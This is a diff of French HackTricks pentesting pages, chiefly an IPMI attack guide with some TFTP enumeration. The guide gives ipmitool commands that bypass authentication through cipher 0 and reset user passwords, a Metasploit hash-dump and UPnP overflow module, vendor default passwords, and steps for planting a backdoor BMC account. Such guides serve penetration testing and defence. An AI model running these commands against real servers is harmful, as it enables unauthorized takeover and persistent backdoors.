Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,45 +2,46 @@
|
|||
|
||||
## 623/UDP/TCP - IPMI
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de base
|
||||
## Basic Information
|
||||
|
||||
### **Aperçu de l'IPMI**
|
||||
### **Overview of IPMI**
|
||||
|
||||
**[Interface de gestion de plate-forme intelligente (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** offre une approche standardisée pour la gestion à distance et la surveillance des systèmes informatiques, indépendamment du système d'exploitation ou de l'état de l'alimentation. Cette technologie permet aux administrateurs système de gérer les systèmes à distance, même lorsqu'ils sont éteints ou non réactifs, et est particulièrement utile pour :
|
||||
**[Interface de gestion de plateforme intelligente (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** offre une approche standardisée pour la gestion et la surveillance à distance des systèmes informatiques, indépendamment du système d'exploitation ou de l'état d'alimentation. Cette technologie permet aux administrateurs système de gérer les systèmes à distance, même lorsqu'ils sont éteints ou non réactifs, et est particulièrement utile pour :
|
||||
|
||||
- Configurations de démarrage pré-OS
|
||||
- Gestion de l'extinction
|
||||
- Récupération des pannes système
|
||||
- Gestion de l'alimentation
|
||||
- Récupération après des pannes système
|
||||
|
||||
L'IPMI est capable de surveiller les températures, les tensions, les vitesses des ventilateurs et les alimentations électriques, tout en fournissant des informations d'inventaire, en examinant les journaux matériels et en envoyant des alertes via SNMP. Pour son fonctionnement, une source d'alimentation et une connexion LAN sont essentielles.
|
||||
IPMI est capable de surveiller les températures, les tensions, les vitesses des ventilateurs et les alimentations, tout en fournissant des informations d'inventaire, en examinant les journaux matériels et en envoyant des alertes via SNMP. Essentiel à son fonctionnement, il nécessite une source d'alimentation et une connexion LAN.
|
||||
|
||||
Depuis son introduction par Intel en 1998, l'IPMI est pris en charge par de nombreux fournisseurs, améliorant les capacités de gestion à distance, notamment avec le support de la version 2.0 pour la liaison série sur LAN. Les composants clés comprennent :
|
||||
Depuis son introduction par Intel en 1998, IPMI a été soutenu par de nombreux fournisseurs, améliorant les capacités de gestion à distance, notamment avec le support de la version 2.0 pour le série sur LAN. Les composants clés incluent :
|
||||
|
||||
- **Contrôleur de gestion de carte mère (BMC) :** Le microcontrôleur principal pour les opérations IPMI.
|
||||
- **Bus et interfaces de communication :** Pour la communication interne et externe, y compris ICMB, IPMB, et diverses interfaces pour les connexions locales et réseau.
|
||||
- **Contrôleur de gestion de carte mère (BMC) :** Le micro-contrôleur principal pour les opérations IPMI.
|
||||
- **Bus et interfaces de communication :** Pour la communication interne et externe, y compris ICMB, IPMB et diverses interfaces pour les connexions locales et réseau.
|
||||
- **Mémoire IPMI :** Pour stocker les journaux et les données.
|
||||
|
||||
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||||
|
||||
**Port par défaut** : 623/UDP/TCP (Il est généralement en UDP mais peut également fonctionner en TCP)
|
||||
**Port par défaut** : 623/UDP/TCP (Il est généralement sur UDP mais peut également fonctionner sur TCP)
|
||||
|
||||
## Énumération
|
||||
## Enumeration
|
||||
|
||||
### Découverte
|
||||
### Discovery
|
||||
```bash
|
||||
nmap -n -p 623 10.0.0./24
|
||||
nmap -n-sU -p 623 10.0.0./24
|
||||
|
@ -51,63 +52,63 @@ Vous pouvez **identifier** la **version** en utilisant :
|
|||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||
```
|
||||
### Vulnérabilités IPMI
|
||||
### IPMI Vulnerabilities
|
||||
|
||||
Dans le domaine de l'IPMI 2.0, une faille de sécurité significative a été découverte par Dan Farmer, exposant une vulnérabilité à travers le **type de chiffrement 0**. Cette vulnérabilité, documentée en détail dans la recherche de [Dan Farmer](http://fish2.com/ipmi/cipherzero.html), permet un accès non autorisé avec n'importe quel mot de passe tant qu'un utilisateur valide est ciblé. Cette faiblesse a été trouvée sur divers BMC de fabricants tels que HP, Dell et Supermicro, suggérant un problème généralisé dans toutes les implémentations de l'IPMI 2.0.
|
||||
Dans le domaine de l'IPMI 2.0, une faille de sécurité significative a été découverte par Dan Farmer, exposant une vulnérabilité à travers **cipher type 0**. Cette vulnérabilité, documentée en détail dans [la recherche de Dan Farmer](http://fish2.com/ipmi/cipherzero.html), permet un accès non autorisé avec n'importe quel mot de passe, à condition qu'un utilisateur valide soit ciblé. Cette faiblesse a été trouvée dans divers BMC de fabricants tels que HP, Dell et Supermicro, suggérant un problème généralisé au sein de toutes les implémentations IPMI 2.0.
|
||||
|
||||
### **Contournement de l'authentification IPMI via le chiffrement 0**
|
||||
### **IPMI Authentication Bypass via Cipher 0**
|
||||
|
||||
Pour détecter cette faille, le scanner auxiliaire Metasploit suivant peut être utilisé :
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||
```
|
||||
L'exploitation de cette faille est réalisable avec `ipmitool`, comme démontré ci-dessous, permettant ainsi la liste et la modification des mots de passe des utilisateurs :
|
||||
L'exploitation de cette faille est réalisable avec `ipmitool`, comme démontré ci-dessous, permettant la liste et la modification des mots de passe des utilisateurs :
|
||||
```bash
|
||||
apt-get install ipmitool # Installation command
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
||||
```
|
||||
### **Récupération à distance du hachage du mot de passe pour l'authentification RAKP d'IPMI 2.0**
|
||||
### **Récupération de hachages de mots de passe à distance RAKP d'IPMI 2.0**
|
||||
|
||||
Cette vulnérabilité permet la récupération des mots de passe hachés salés (MD5 et SHA1) pour n'importe quel nom d'utilisateur existant. Pour tester cette vulnérabilité, Metasploit propose un module :
|
||||
Cette vulnérabilité permet la récupération de mots de passe hachés salés (MD5 et SHA1) pour tout nom d'utilisateur existant. Pour tester cette vulnérabilité, Metasploit propose un module :
|
||||
```bash
|
||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||
```
|
||||
### **Authentification anonyme IPMI**
|
||||
### **Authentification Anonyme IPMI**
|
||||
|
||||
Une configuration par défaut dans de nombreux BMC permet l'accès "anonyme", caractérisé par des chaînes de nom d'utilisateur et de mot de passe nulles. Cette configuration peut être exploitée pour réinitialiser les mots de passe des comptes d'utilisateurs nommés en utilisant `ipmitool` :
|
||||
Une configuration par défaut dans de nombreux BMC permet un accès "anonyme", caractérisé par des chaînes de nom d'utilisateur et de mot de passe nulles. Cette configuration peut être exploitée pour réinitialiser les mots de passe des comptes d'utilisateur nommés en utilisant `ipmitool`:
|
||||
```bash
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||||
```
|
||||
### **Mots de passe en clair IPMI Supermicro**
|
||||
### **Supermicro IPMI Mots de passe en clair**
|
||||
|
||||
Un choix de conception critique dans l'IPMI 2.0 nécessite le stockage des mots de passe en clair dans les BMC pour des raisons d'authentification. Le stockage de ces mots de passe par Supermicro dans des emplacements tels que `/nv/PSBlock` ou `/nv/PSStore` soulève des préoccupations de sécurité importantes :
|
||||
Un choix de conception critique dans IPMI 2.0 nécessite le stockage de mots de passe en clair au sein des BMC pour des raisons d'authentification. Le stockage de ces mots de passe par Supermicro dans des emplacements tels que `/nv/PSBlock` ou `/nv/PSStore` soulève d'importantes préoccupations en matière de sécurité :
|
||||
```bash
|
||||
cat /nv/PSBlock
|
||||
```
|
||||
### **Vulnérabilité UPnP de Supermicro IPMI**
|
||||
### **Vulnérabilité UPnP IPMI de Supermicro**
|
||||
|
||||
L'inclusion par Supermicro d'un écouteur UPnP SSDP dans son micrologiciel IPMI, en particulier sur le port UDP 1900, introduit un risque de sécurité grave. Les vulnérabilités dans le SDK Intel pour les appareils UPnP version 1.3.1, telles que détaillées par [la divulgation de Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), permettent un accès root au BMC:
|
||||
L'inclusion par Supermicro d'un écouteur SSDP UPnP dans son firmware IPMI, en particulier sur le port UDP 1900, introduit un risque de sécurité sévère. Les vulnérabilités dans le SDK Intel pour les dispositifs UPnP version 1.3.1, comme détaillé par [la divulgation de Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), permettent un accès root au BMC :
|
||||
```bash
|
||||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||
```
|
||||
### Brute Force
|
||||
|
||||
**HP randomizes the default password** for its **Integrated Lights Out (iLO)** product during manufacture. This practice contrasts with other manufacturers, who tend to use **static default credentials**. A summary of default usernames and passwords for various products is provided as follows:
|
||||
**HP randomise le mot de passe par défaut** pour son produit **Integrated Lights Out (iLO)** lors de la fabrication. Cette pratique contraste avec d'autres fabricants, qui ont tendance à utiliser des **identifiants par défaut statiques**. Un résumé des noms d'utilisateur et mots de passe par défaut pour divers produits est fourni comme suit :
|
||||
|
||||
- **HP Integrated Lights Out (iLO)** uses a **factory randomized 8-character string** as its default password, showcasing a higher security level.
|
||||
- Products like **Dell's iDRAC, IBM's IMM**, and **Fujitsu's Integrated Remote Management Controller** use easily guessable passwords such as "calvin", "PASSW0RD" (with a zero), and "admin" respectively.
|
||||
- Similarly, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, and **ASUS iKVM BMC** also use simple default credentials, with "ADMIN", "changeme", and "admin" serving as their passwords.
|
||||
- **HP Integrated Lights Out (iLO)** utilise une **chaîne de 8 caractères randomisée en usine** comme mot de passe par défaut, montrant un niveau de sécurité plus élevé.
|
||||
- Des produits comme **Dell's iDRAC, IBM's IMM**, et **Fujitsu's Integrated Remote Management Controller** utilisent des mots de passe facilement devinables tels que "calvin", "PASSW0RD" (avec un zéro), et "admin" respectivement.
|
||||
- De même, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, et **ASUS iKVM BMC** utilisent également des identifiants par défaut simples, avec "ADMIN", "changeme", et "admin" servant de mots de passe.
|
||||
|
||||
|
||||
## Accessing the Host via BMC
|
||||
## Accéder à l'hôte via BMC
|
||||
|
||||
Administrative access to the Baseboard Management Controller (BMC) opens various pathways for accessing the host's operating system. A straightforward approach involves exploiting the BMC's Keyboard, Video, Mouse (KVM) functionality. This can be done by either rebooting the host to a root shell via GRUB (using `init=/bin/sh`) or booting from a virtual CD-ROM set as a rescue disk. Such methods allow for direct manipulation of the host's disk, including the insertion of backdoors, data extraction, or any necessary actions for a security assessment. However, this requires rebooting the host, which is a significant drawback. Without rebooting, accessing the running host is more complex and varies with the host's configuration. If the host's physical or serial console remains logged in, it can easily be taken over through the BMC's KVM or serial-over-LAN (sol) functionalities via `ipmitool`. Exploring the exploitation of shared hardware resources, like the i2c bus and Super I/O chip, is an area that demands further investigation.
|
||||
L'accès administratif au Baseboard Management Controller (BMC) ouvre diverses voies pour accéder au système d'exploitation de l'hôte. Une approche simple consiste à exploiter la fonctionnalité KVM (Keyboard, Video, Mouse) du BMC. Cela peut être fait en redémarrant l'hôte vers un shell root via GRUB (en utilisant `init=/bin/sh`) ou en démarrant à partir d'un CD-ROM virtuel configuré comme disque de secours. De telles méthodes permettent une manipulation directe du disque de l'hôte, y compris l'insertion de portes dérobées, l'extraction de données, ou toute action nécessaire pour une évaluation de sécurité. Cependant, cela nécessite de redémarrer l'hôte, ce qui est un inconvénient majeur. Sans redémarrage, accéder à l'hôte en cours d'exécution est plus complexe et varie selon la configuration de l'hôte. Si la console physique ou série de l'hôte reste connectée, elle peut facilement être prise en charge via les fonctionnalités KVM ou serial-over-LAN (sol) du BMC via `ipmitool`. Explorer l'exploitation des ressources matérielles partagées, comme le bus i2c et la puce Super I/O, est un domaine qui nécessite une enquête plus approfondie.
|
||||
|
||||
## Introducing Backdoors into BMC from the Host
|
||||
## Introduction de portes dérobées dans le BMC depuis l'hôte
|
||||
|
||||
Upon compromising a host equipped with a BMC, the **local BMC interface can be leveraged to insert a backdoor user account**, creating a lasting presence on the server. This attack necessitates the presence of **`ipmitool`** on the compromised host and the activation of BMC driver support. The following commands illustrate how a new user account can be injected into the BMC using the host's local interface, which bypasses the need for authentication. This technique is applicable to a wide range of operating systems including Linux, Windows, BSD, and even DOS.
|
||||
Après avoir compromis un hôte équipé d'un BMC, l'**interface BMC locale peut être exploitée pour insérer un compte utilisateur porte dérobée**, créant une présence durable sur le serveur. Cette attaque nécessite la présence de **`ipmitool`** sur l'hôte compromis et l'activation du support du pilote BMC. Les commandes suivantes illustrent comment un nouveau compte utilisateur peut être injecté dans le BMC en utilisant l'interface locale de l'hôte, ce qui contourne le besoin d'authentification. Cette technique est applicable à un large éventail de systèmes d'exploitation, y compris Linux, Windows, BSD, et même DOS.
|
||||
```bash
|
||||
ipmitool user list
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
|
@ -131,16 +132,17 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|||
|
||||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,42 +1,43 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
# Basic Information
|
||||
|
||||
**Le protocole de transfert de fichiers trivial (TFTP)** est un protocole simple utilisé sur le **port UDP 69** qui permet des transferts de fichiers sans nécessiter d'authentification. Mis en avant dans **RFC 1350**, sa simplicité signifie qu'il manque de fonctionnalités de sécurité clés, ce qui limite son utilisation sur l'Internet public. Cependant, **TFTP** est largement utilisé au sein de grands réseaux internes pour distribuer des **fichiers de configuration** et des **images ROM** à des appareils tels que des **téléphones VoIP**, grâce à son efficacité dans ces scénarios spécifiques.
|
||||
**Trivial File Transfer Protocol (TFTP)** est un protocole simple utilisé sur le **port UDP 69** qui permet le transfert de fichiers sans nécessiter d'authentification. Mis en avant dans le **RFC 1350**, sa simplicité signifie qu'il manque de fonctionnalités de sécurité clés, ce qui limite son utilisation sur Internet public. Cependant, **TFTP** est largement utilisé au sein de grands réseaux internes pour distribuer des **fichiers de configuration** et des **images ROM** à des appareils tels que des **téléphones VoIP**, grâce à son efficacité dans ces scénarios spécifiques.
|
||||
|
||||
**À FAIRE** : Fournir des informations sur ce qu'est un Bittorrent-tracker (Shodan identifie ce port avec ce nom). Si vous avez plus d'informations à ce sujet, faites-le nous savoir par exemple dans le [**groupe telegram HackTricks**](https://t.me/peass) (ou dans un problème github dans [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
**TODO**: Fournir des informations sur ce qu'est un Bittorrent-tracker (Shodan identifie ce port sous ce nom). Si vous avez plus d'informations à ce sujet, faites-le nous savoir par exemple dans le [**groupe telegram HackTricks**](https://t.me/peass) (ou dans un problème github dans [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
|
||||
**Port par défaut :** 69/UDP
|
||||
**Default Port:** 69/UDP
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
69/udp open tftp script-set
|
||||
```
|
||||
# Énumération
|
||||
# Enumeration
|
||||
|
||||
TFTP ne fournit pas de liste de répertoires, donc le script `tftp-enum` de `nmap` va essayer de forcer les chemins par défaut.
|
||||
TFTP ne fournit pas de liste de répertoires, donc le script `tftp-enum` de `nmap` essaiera de forcer par brute les chemins par défaut.
|
||||
```bash
|
||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||
```
|
||||
## Téléchargement/Chargement
|
||||
## Télécharger/Téléverser
|
||||
|
||||
Vous pouvez utiliser Metasploit ou Python pour vérifier si vous pouvez télécharger/charger des fichiers :
|
||||
Vous pouvez utiliser Metasploit ou Python pour vérifier si vous pouvez télécharger/téléverser des fichiers :
|
||||
```bash
|
||||
msf5> auxiliary/admin/tftp/tftp_transfer_util
|
||||
```
|
||||
|
@ -57,16 +58,17 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
